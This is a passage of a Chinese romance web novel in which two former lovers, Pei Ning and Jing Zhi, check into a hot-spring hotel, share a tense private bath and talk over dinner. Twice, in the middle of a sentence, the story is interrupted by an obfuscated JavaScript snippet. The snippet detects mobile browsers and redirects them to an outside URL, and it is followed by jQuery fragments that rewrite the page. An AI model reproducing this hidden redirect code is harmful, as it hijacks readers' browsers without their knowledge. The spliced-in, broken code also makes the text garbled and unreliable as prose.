两人在飞机上吃了些东西,所以都不算太饿,把行李搬到裴凝提前租好的车上后,他们便开车往酒店去了。 临近目的地时,井稚看着出现在视野里的雪场,终于猜到了裴凝的安排。 “我们要去滑雪吗?!” 他兴奋地忘了自己正系着安全带坐在车上,原地一个起跳,头磕在了车顶,他也来不及管,小狗眼里直冒亮光。 井稚的神情在裴凝意料之中,她用余光瞥着,准备这份惊喜时内心的那点期待幻化成了更大的满足感,温柔笑意染上她的眼角眉梢。 “是啊,你不是写过想和我一起去滑雪吗?” 井稚愣了一下,瞬间明白过来她在说什么。 “你还记得啊……” 他缩回些身子,视线落在扶手箱上,语气有些欣喜,又有些难掩酸涩的委屈。 “怎么会不记得,毕竟是‘要和裴凝一起做的事’嘛。” 井稚靠回椅背上,往下滑了又滑,赌气地缩着脖子,脑袋快挨不到颈枕了,两条长腿蜷在狭小的空间里。 “哼,都分手了,那个不作数了。” 裴凝笑而不语,只是把前排的暖风开得又大些。 快到酒店时,裴凝偏头看了一眼已经搜了一路滑雪教学视频的人,不忍心地打断他,轻声询问。 “今天有些晚了,到酒店还得收拾一下,应该赶不上雪场的营业时间了,我们明天再去,好吗?” 井稚有些失落,不过很快就调整过来,坐直身子:“那今天干什么?” 裴凝在红灯前停下,从车载智能屏上搜索出酒店的宣传片,播放给井稚。 “温泉酒店,泡温泉。” 井稚又愣了。 他想起去年没有去成的温泉酒店。 难道裴凝是特意选择这里的吗? 可是这项活动没有写在备忘录上,大概只是凑巧吧。 广告重复播放到第二遍,裴凝瞧见盯着屏幕走神的井稚,抬手,用两根手指在他额间敲了一下,唤回他的神思。 “想什么呢?” “裴凝,你是不是……”井稚话说了一半,想了想,还是没有继续,“没事,你开车吧。” 他不想再提那些不愉快的事。 裴凝自然知道他在想什么。 “我是不是知道你去年定了温泉酒店,想给我过生日?” 她说出井稚的问题。 井稚惊讶地看她:“你怎么……” “傻瓜。”裴凝捏了下他鼻尖,“我有心灵感应的特异功能。” 井稚反应了一下才意识到又被她调笑,撅了撅嘴,窝回车座。 “好啦,不逗你了。去年你取消预定之后,酒店总部那边可能bug了,没有显示,所以还保留了我的信息,过了段时间给我打来回馈电话,问我居住体验怎么样,我就猜到了。” 井稚“嗯”了一声,心里还是五味杂陈的,不知道是开心多一些,还是难过多一些。 “井稚。” 裴凝轻唤他一声,井稚下意识看向她。 “假期的最后一天是我的生日,你可以陪我过生日吗?” 井稚唇齿微张,意外得说不出话来。 “可以吗?” 裴凝又问了一遍。 “你不是……” “嗯,我讨厌生日,”裴凝的声音像微风般平静流动,“但是我想和你一起过生日。” 井稚终于打消了心底最后一点疑虑,认真地点头。 “好。” - 酒店离雪场不远,五星级的招牌扬名在外,裴凝差一点没订上。 一踏进大门,裴凝就觉得仿佛进入了静谧幽然的中式园林。 整个酒店上下,都带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329039|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着与世隔绝的禅意。大厅一隅圈出块装饰区来,虽是假石,但不输实景,遥遥一望也是山水有致,一带清溪穿隙而过。玉白石栏环抱绿意,与后方的汉白玉柱相映成趣。 大厅的人不算少,但大家似乎都被这样的氛围感染,竟无一人高声喧哗,只有细碎交谈声藏于角落。 裴凝走到前台,递过两人的身份证。 “您好,我订了一间套房。” 前台小姐礼貌微笑,很快便办好了入住。将房卡递与裴凝后,抬手指引道:“裴小姐,井先生,这边请,会有工作人员帮您引路,祝您入住愉快。” 井稚在听到裴凝说“一间套房”的时候就很想说话了,但这里实在太安静,他不好意思在大厅说什么。一直憋到了工作人员帮他们把行李都搬到顶层的房间、退出房间关上门后,他才如释重负地呼出一口气。 “裴凝,你就订了这一间吗?” “对啊。” 井稚顿时挂上纠结的神情。 他很想说“不合适”,毕竟这是他一直在强调的事。 可是……他好像也有点想和裴凝住在一起。 现在改口说“合适”,会不会很丢脸? “想什么呢,”裴凝好笑地推了推他,“你往里走,有好几间卧室,你选一间吧。” 井稚脸上的纠结转瞬换成失落。 没得选的时候想得多,真让他选的时候,他又不想选了。 怎么这么复杂? “原来是分开住啊,那干脆订两间嘛。” 他嘟囔着往前走。 “准备得晚了,没订到两间。”裴凝还真解释起来了,“本来是准备订两个套房的。” 井稚走在前面,眸色黯淡了些。 裴凝简单收拾了东西便去洗澡了,出来时懒得吹干头发,只简单擦了擦,任由发丝搭在身前,顺着肩颈滑落水痕。 从行李箱里翻出泳衣,裴凝拿起放在一起的一个新包装袋,走到井稚的屋外,敲了敲门。 等了一会儿才等到门开,迎面便是赤裸上身,裴凝着实愣了一下。 好久没见井稚的裸/体了,怎么感觉他的肌肉线条更流畅了…… “怎么了?” 井稚把想入非非的人拽回神来。 “哦哦,这个,”裴凝终于想起自己是来干嘛的,“我给你准备的泳裤,你试试。” “……你给我买的?” “对,没提前跟你说是来温泉酒店,想你也不会准备,我就给你买了。” 井稚捏着包装袋,看看泳裤,又抬头看看她,反复几次。 “好吧。” 闷声应下,井稚转身回屋去换。 他忘了关门,裴凝贴心地给他带上。 很快,门重新打开,只着平角泳裤的人再次出现。 裴凝笑开。 “果然很合适。” “你怎么知道我的尺寸?” 井稚不免疑问。 “这方面我还是很有经验的。”裴凝满意地上下打量他,没多想便脱口而出,“毕竟睡过那么多次了。” 再抬头时,裴凝的视线里闯入一张红得能滴血的脸。 方才的话终于过了脑子,她自觉失言,刚想改口说开玩笑的,井稚就倾身上来,直把裴凝逼到身后墙上,然后一只手揽住她腰,微微俯身看她。 “什么有经验?猜尺寸,还是和我睡?” 44. Chapter 44 裴凝一低头,就能看到井稚浅褐色的健康肤色下,随心跳微微起伏的胸肌。 他刚洗过澡,清爽皂香裹挟着裴凝的嗅觉,时不时靠近的身体若即若离地贴着她湿漉漉的发丝,蹭到他身上的水滴顺着肌肉纹理滑向不该看的地方。 裴凝自诩不是一个定力很好的人。 尤其是在这样暧昧的走廊暖光下,她很难把持住想要侵略眼前人的欲望。 井稚见她不说话,倏的靠得更近,手撑在裴凝身侧的墙上,腰伏得更低,鼻息热气贴近她的耳朵。 “是哪个?” 裴凝神思已游离大半:“额……都挺有经验的……” 井稚一下子咬上她耳垂,裴凝吃痛得瞬间回神。 “答错了。” 眼看井稚越靠越近,鲜红湿润的唇就在她眼前晃悠,情急之下,裴凝顺势咬住井稚的肩膀。 “啊!” 井稚本能地后退两步,身子高矮不一地侧着,右手揉着肩膀,委屈又不解地看她。 “你咬我干嘛?” “抱歉抱歉,我不是故意的,”裴凝赶忙上去帮他呼气,轻柔地抚摸光滑皮肤上的明显咬痕,“刚才实在着急,没想到别的办法。” “什么事这么着急?” “着急……怕我控制不自己。” “控制不住什么?” “控制不住做一些我很有经验的事情。” 井稚听懂了,但又没听懂。 这还是之前没事就想睡自己的裴凝吗? “为什么不能做?”痛劲渐消,井稚站直身子,“你以前不是想做就做吗?” “现在不一样呀,我们分手了。” 裴凝踮起脚尖,仔细查看井稚的肩膀,以防自己没个轻重咬出口子来。 “你做这些事情,不是不在意关系的吗……” “我是不在意,但是你不行。我会等你决定和好,并且做好心理准备后,再谈这些。” 裴凝在来之前就和自己说好了,这次一定不能随心所欲地越界。 她与井稚有许多观念上的不同,总要有人作出妥协。之前是她忽视了井稚的妥协,所以现在她想试着学会妥协。 井稚半天没有说话,控制着呼吸的速度,以防自己不自觉地大喘气。 裴凝拒绝的理由都是他天天挂在嘴边强调的,她终于学会尊重自己的想法了,井稚理应高兴。 但是……现在是他有点不尊重自己了。 方才一番撩拨,裴凝没怎么样,但井稚身体里的血液已经烧得沸腾。他强迫自己将眼神从勾勒出裴凝身材的半湿真丝吊带睡衣上挪开,后槽牙都快咬碎了。 他又不能说自己现在没那么在意那些了?! 偏偏他只穿了一条泳裤,裴凝说完话一低头,就对他的状态一览无遗。 她稍稍有些惊讶,很快转开了视线,看向井稚憋出红血丝的眼睛。 “那个……要不我回避一下?” 井稚紧抿着唇,后退两步,快速回房关门。 “等我一下。” 门内声线微颤,门外荡起笑意。 井稚火速冲了个凉水澡,才将飙升的体温压下去。 从浴室出来后,他看了眼手机,裴凝给他发来消息,说她在套房里的私汤等他。 井稚开始后悔自己去年非要订什么温泉酒店。 现在好了,裴凝为了补偿他,也订了温泉酒店,但两人一个汤池这种极度私密的距离,他又因为吃了自己嘴硬的回旋镖而什么都不能做,这不是纯折磨吗? 事已至此,他只能硬着头皮上。 私汤在套房的最里侧,井稚一踏进去,氤氲雾气便贴着肌肤攀爬而上,遮挡了大半清明视线。 井稚从朦胧中,窥探到裴凝靠在池边石的虚浮身影。 白皙手臂随意搭在池上,一只手捞起半捧水,又从眼前徐徐落下,水面碰撞出绵柔的声音。 慵懒,却不妖娆。 她像挂着晨露的红玫瑰,中和了天生的明媚,多了几分温柔潮意。 听到井稚的动静,裴凝回过头,托着下巴朝他招手。 “快来。” 井稚在心里给自己念了一遍清心咒。 色即是空,空即是色。 然后深吸一口气,走入池中。 裴凝提前点好了红酒和水果,放在两人伸手就能够到的地方。她微微起身拿来两个高脚杯,各斟入三分之一,然后递给井稚。 井稚这才看清,裴凝身着剪裁得体的分体黑色泳衣,虽然没有任何装饰,但挂脖设计和不多的布料已经把能露的都露出来了,比刻意添加蕾丝之类设计的泳衣更显色气。 欲意缭绕,池中水更热了些。 井稚终于忍不住吐槽:“既然要控制,你能不能换一个让我也能控制的泳衣?” 裴凝低头看了看,不好意思地笑了笑。 “我昨天收拾行李的时候才想起我泳衣是这种的,没来得及准备别的嘛。一会儿我去楼下买个新的,酒店里应该有卖的。” 井稚郁闷地一口闷了红酒,半晌,别扭地小声开口:“算了,就这样吧。” 裴凝把水果推过去,换了个姿势,半趴在池边,斜仰着头看井稚。 “坐飞机挺累的,温泉正好解乏。” 井稚干脆把视线转向面前的落地窗,看着窗外的园林。 他不确定自己现在这样到底能不能解乏。 刚把思绪转移了一些,井稚忽然感觉身侧涌来一阵更大的热流,紧接着裴凝的胳膊便贴上了自己的。 她靠过来了。 “你看,落日。” 裴凝指着天边火烧云后的半轮太阳,声音雀跃欣喜。 井稚却什么都听不清,只感觉到她的身体随着她说话时的晃动,在水中与自己毫无阻力地摩擦。 “咱俩好像还没有专门看过落日呢。” 裴凝转过身子,抬起胳膊从井稚的前胸绕过,去拿他放在另一侧的杯子,撩起的水泼在井稚身上。 她挡住了落日。 井稚喉结滚动,最后一丝理智也蒸发了。 他按下裴凝横跨过自己的胳膊,擒住她身子,翻身将她压在池边,一只手搭在裴凝颈后,以防她磕到池沿。 裴凝脚下一滑,猝不及防地半躺在井稚怀中。满室潮热拖拽住她的思绪,纵是经验丰富如她也怔愣了半刻。 “怎么了……?” 裴凝小心翼翼地开口,不知道是不是潮气太重,她尾音有些颤动。 井稚没有说话,径直俯身贴近她。 裴凝脖子以下的身子都滑到了水里,不受控制地轻微浮动,他们从肩膀开始的身体,隔着水膜不停靠近,大半贴在一起。 她看着近在咫尺的脸,下意识屏住了呼吸,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345406|147190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即闭上眼睛。 但他迟迟未动。 不知道过了多久,裴凝听到耳边喘起几声粗气。 微微睁眼,井稚依旧保持着抱她的姿势,只是头侧到了一旁,环着裴凝的手紧紧握拳。 裴凝不敢动,直等到井稚起身。 他半跪在池中,似乎很疲惫。 “裴凝,你真是……折磨人啊。” 无奈的声音混在波荡的水声中,裴凝判断不清他的含义,也看不清他的表情。 她想凑上去看仔细些,但刚一起身,井稚便站了起来。 “你待着吧,我先回去了。” 裴凝还没来得及说什么,井稚的背影便已经拐了出去。 她难得混乱了。 所以这距离……到底是应该保持,还是不应该保持? 井稚为什么怎样都不开心? - 裴凝没多久便也回房了,换了身衣服,到井稚房间去叫他吃晚饭。 井稚穿好衣服才打开门。 “你头发怎么又湿了?” 裴凝问道。 “……没什么。” 井稚视线向下,一眼便扫到裴凝颈间的小狗项链,愣了下,眼神定住,神色讶异。 裴凝顺着他的视线摸了摸吊坠:“那么惊讶干嘛?” 欲言又止后,井稚嘟囔。 “我还以为你扔了。” “当然没有,”裴凝抬手敲他头,“倒是你,是不是把项链扔了?一直没见你戴过。” “才没有,我只是……怕你觉得不舒服。” 裴凝笑着摇摇头:“想的真多。” 井稚的情绪又要被牵着走了,只好转移话题。 “吃什么?” “这家酒店的餐厅还挺有名的,今天就在酒店吃吧。” 他顺从地点头。 下楼的过程中,井稚一直跟在裴凝身后,直到走到餐厅才和她并肩。 一进餐厅便听到琴声悦耳,裴凝往中央看去,发现有一位正在表演古筝的女生,身着素净旗袍,头发在脑后挽起,发簪上挂着几个大小不一的青色珠子,整个人透着清雅诗意。 因为她的曲子,裴凝也不由心静下来。 “想吃什么?” 落座后,裴凝把菜单递给井稚。 井稚翻开,习惯性地开始寻找甜口菜品。裴凝看出他的目光在自己喜欢的几道菜上流连,直接抬手过去挡住菜单上的图片。 她对着疑惑抬头的井稚道:“选你喜欢的。” “我喜欢的?” “对啊,你不是喜欢吃辣吗。” 裴凝吃不了辣,所以井稚虽然爱吃,但和她吃饭的时候从来都不点辣的菜。 “你不是不能吃辣吗?” “饭是两个人吃的,又不是我一个人,你喜欢吃的也要点啊。” “但是……” “井稚,我喜欢的菜我会点,你不用一直考虑我。口味不一样也能坐在一桌吃饭,我们各自吃各自喜欢的就好了。” 井稚的视线垂在菜单上,过了会儿,又抬头看着裴凝。 “裴凝,你好奇怪。” “哪里奇怪?” 井稚支吾半天,不知道怎么形容,最后只说了一句。 “有点不像你。” 裴凝失笑。 “确实。因为我越来越像你。”